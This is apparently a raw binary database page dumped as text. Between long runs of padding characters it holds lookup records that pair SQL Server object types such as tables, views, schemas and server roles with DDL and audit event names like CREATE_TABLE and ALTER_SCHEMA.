!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!g`"v4	
BQpVp@%?KSCHEMACREATE_SCHEMASCHEMA
p@%]iSCHEMAALTER_AUTHORIZATION_DATABASESCHEMA
pM%AQSEQUENCEALTER_SEQUENCESEQUENCE
pM)GWSEQUENCECREATE_SEQUENCESEQUENCE
pM)5ESEQUENCERENAMESEQUENCE
pM)aqSEQUENCEALTER_AUTHORIZATION_DATABASESEQUENCE
pM)AQSEQUENCEALTER_SCHEMASEQUENCE
p3!GSSERVERSAC_ENDPOINT_CHANGESERVER
p)%]iSERVERAUDIT_SERVER_OPERATION_EVENTSERVER
p3%]iSERVERAUDIT_SERVER_OPERATION_EVENTSERVER
p3%COSERVERCREATE_ENDPOINTSERVER
p3%AMSERVERALTER_ENDPOINTSERVER
p3%?KSERVERDROP_ENDPOINTSERVER
pE+McSERVER ROLEALTER_SERVER_ROLESERVER ROLE
pE/SiSERVER ROLECREATE_SERVER_ROLESERVER ROLE
pE/cySERVER ROLEALTER_AUTHORIZATION_SERVERSERVER ROLE
p%%9ASQL USERALTER_USERUSERp"#?MSYNONYMCREATE_SYNONYMSYNONYM
p"'?MSYNONYMALTER_SCHEMASYNONYM
p"5?TABLEALTER_TABLETABLE
p"#;ETABLECREATE_TABLETABLE
p"#/9TABLERENAMETABLE
p"#;ETABLEALTER_SCHEMATABLE
p$#9CTABLEALTER_TABLETABLE
p$#;ETABLECREATE_TABLETABLEp$#/9TABLERENAMETABLEp$#[eTABLEALTER_AUTHORIZATION_DATABASETABLEp$#;ETABLEALTER_SCHEMATABLEp"3;TYPECREATE_TYPETYPE
p"!-5TYPERENAMETYPE
p"!9ATYPEALTER_SCHEMATYPE
p"19VIEWALTER_VIEWVIEW
p"!7?VIEWCREATE_VIEWVIEW
p"!-5VIEWRENAMEVIEW
p"!9AVIEWALTER_SCHEMAVIEW
p%-AIWINDOWS USERALTER_USERUSERp";qXMLSCHEMACOLLECTIONALTER_XML_SCHEMA_COLLECTIONXMLSCHEMACOLLECTION
p"?wXMLSCHEMACOLLECTIONCREATE_XML_SCHEMA_COLLECTIONXMLSCHEMACOLLECTION
p"?KqXMLSCHEMACOLLECTIONRENAMEXMLSCHEMACOLLECTION
p"?W}XMLSCHEMACOLLECTIONALTER_SCHEMAXMLSCHEMACOLLECTION
p%)?GSQL USERCREATE_USERUSERp%1GOWINDOWS USERCREATE_USERUSERp&!5=VIEWALTER_VIEWVIEWp&!7?VIEWCREATE_VIEWVIEWp&!-5VIEWRENAMEVIEWp&!YaVIEWALTER_AUTHORIZATION_DATABASEVIEWp&!9AVIEWALTER_SCHEMAVIEWpX1[uWORKLOAD GROUPCREATE_WORKLOAD_GROUPWORKLOADGROUPpX5]wWORKLOAD GROUPALTER_WORKLOAD_GROUPWORKLOADGROUPpA=qSEARCH PROPERTY LISTALTER_SEARCH_PROPERTY_LISTSEARCHPROPERTYLIST pAAwSEARCH PROPERTY LISTCREATE_SEARCH_PROPERTY_LISTSEARCHPROPERTYLIST!pAAySEARCH PROPERTY LISTALTER_AUTHORIZATION_DATABASESEARCHPROPERTYLIST"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
<
d#HSp-


		3	FCm,t%G05`
ZB.&S1AQCREATE_FUNCTIONFUNCTIONFUNCTION&M/?RENAMESEQUENCESEQUENCE&$KU_ALTER_AUTHORIZATION_DATABASETABLETABLE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!